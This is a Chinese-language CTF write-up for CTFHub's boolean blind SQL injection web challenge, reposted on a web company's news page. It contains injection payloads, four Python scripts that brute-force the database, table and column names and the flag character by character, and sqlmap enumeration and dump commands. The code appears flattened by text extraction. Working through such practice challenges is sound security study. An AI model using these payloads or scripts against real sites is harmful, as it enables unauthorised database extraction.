新闻详情

新闻详情

首页 / 资讯中心 / 详情

CTFHUB-WEB-布尔盲注

发布时间:2026/10/1 8:40:17来源:尧图网络
CTFHUB-WEB-布尔盲注
title: 布尔盲注布尔盲注题目考点布尔盲注MySQL解题思路确认该题是布尔盲注尝试根据题目输入看返回的参数发现返回是query_successhttp://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1方法一python脚本暴力破解爆破数据库名称1、判断数据库名称长度使用length函数确认数据库长度直到查询返回query_successhttp://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1andlength%28database%28%29%29%3D42、使用mysql语法中的ascii()函数与substr()函数进行编写python脚本爆破得知数据库名http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select database()),1,1))65--例如上述的请求就是在爆破数据库名判断数据库名的第一位是否为A 以此规则来爆破用两个for循环第一个i变量代表被爆破的数据库名字的第几位根据第一步方法对i进行取值增加效率第二个j变量代表ascill码中的可见字符import requests url http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select database()),%s,1))%d-- result ​ for i in range(1,5): for j in range(33,127): payload url%(i,j) try: s requests.get(urlpayload, timeout5) if query_success in s.text: result chr(j) print(result) break except Exception as e: print(请求出错:, e) continue print(result)爆破脚本得出数据库名爆破数据表名称1、使用python脚本爆破表名import requests result ​ url http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasqli),%s,1))%d-- for i in range(1,100): if len(result)1 i: break for j in range(33,127): payload url%(i,j) try: s requests.get(urlpayload, timeout5) if query_success in s.text: result chr(j) print(result) break except Exception as e: print(请求出错:, e) continue print(result)爆破得出数据表名看到出现了两张表我们根据表名可以先猜测f题目要求的flag在flag表中爆破数据表中字段1、使用python脚本爆破字段名原理是一样的import requests result ​ url http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select group_concat(column_name) from information_schema.columns where table_nameflag),%s,1))%d-- for i in range(1,100): if len(result)1 i: break for j in range(33,127): payload url%(i,j) try: s requests.get(urlpayload, timeout5) if query_success in s.text: result chr(j) print(result) break except Exception as e: print(请求出错:, e) continue print(result)爆破得出字段名最后爆破数据表中数据import requests result ​ url http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id0 or ascii(substr((select group_concat(flag) from flag),%s,1))%d-- for i in range(1,100): if len(result)1 i: break for j in range(33,127): payload url%(i,j) try: s requests.get(urlpayload, timeout5) if query_success in s.text: result chr(j) print(result) break except Exception as e: print(请求出错:, e) continue print(result)爆破得出最终的flag方法二使用sqlmp注入爆破当前网站使用数据库名称--current-db爆破当前网站使用数据库名称python sqlmap.py -u http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1 --current-db --batch爆破数据表名称--tables爆破指定数据库下有哪些数据表python sqlmap.py -u http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1 -D sqli --tables --batch爆破得出数据表名看到出现了两张表我们根据表名可以先猜测f题目要求的flag在flag表中爆破数据表字段--columns爆破指定数据表下有哪些字段python sqlmap.py -u http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --columns --batch最后根据获得字段直接获取该表数据--dumppython sqlmap.py -u http://challenge-67107524c1e16708.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag -C flag --dump --batch第一次写博客有哪里写的不好的望大家见谅
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

从零构建命令行AI助手:记忆系统设计与向量检索实战 2026/10/1 23:14:55

从零构建命令行AI助手:记忆系统设计与向量检索实战

从第1天开始,我每天逼自己产出一个能跑的东西,不是看视频、不是收藏教程,而是真的把代码写出来、跑起来、摔跟头、再爬起来。今天是第14天,我说实话,心里是有点悬的。前13天学的都是零散的知识块:Python语法…

阅读更多 →
RuoYi 组合拳 RCE 的代码审计与防御加固 2026/10/1 23:14:55

RuoYi 组合拳 RCE 的代码审计与防御加固

RuoYi 这套后台框架在国内中小型项目里的普及程度,基本上做 Java 后端的都碰过。但正因为用得多、改得多,围绕它的安全问题也一直没消停过。最近圈子里讨论比较多的一个词叫"组合拳 RCE",说的不是某一个孤立的漏洞编号,…

阅读更多 →
AI辅助客户资料整理:从散乱压缩包到可交付工作区 2026/10/1 23:14:41

AI辅助客户资料整理:从散乱压缩包到可交付工作区

1. 客户资料散乱这件事,到底卡在哪个环节做项目交付的人大概都有过这种体验:客户甩过来一个压缩包,解压之后里面躺着十几个文件夹,命名规则五花八门,有叫“新建文件夹”的,有叫“最终版”的,还有…

阅读更多 →
从零实现PyTorch多头注意力:原理、代码与调试避坑指南 2026/10/1 23:14:41

从零实现PyTorch多头注意力:原理、代码与调试避坑指南

1. 注意力机制到底解决了什么问题1.1 从翻译任务里的一个尴尬现象说起早些年做机器翻译的时候,我遇到过一个很典型的问题:输入一句中文“我爱吃苹果”,模型翻译成英文时,前面几个词都翻得挺准,到了“苹果”这里&#x…

阅读更多 →
基于Python爬虫与Hadoop的B站短视频数据分析系统实战 2026/10/1 23:14:41

基于Python爬虫与Hadoop的B站短视频数据分析系统实战

1. 项目概述:这个系统到底解决了什么问题 做毕业设计那段时间,我给自己选了个难度不低的题目——基于大数据爬虫和Hadoop的B站短视频热门趋势分析与创作者测量研究系统。简单说,就是用Python爬虫采集B站视频的公开数据,把数据落地…

阅读更多 →
Tomcat启动闪退排查指南:从JAVA_HOME到端口占用一次讲清 2026/10/1 23:14:41

Tomcat启动闪退排查指南:从JAVA_HOME到端口占用一次讲清

双击startup.bat的一瞬间,黑色窗口闪了一下就消失了;再点,还是闪;浏览器打开localhost:8080,显示无法访问。这就是Tomcat安装后最常见的翻车现场——startup脚本闪退。作为一个从Tomcat 6时代一路折腾过来的老运维&…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉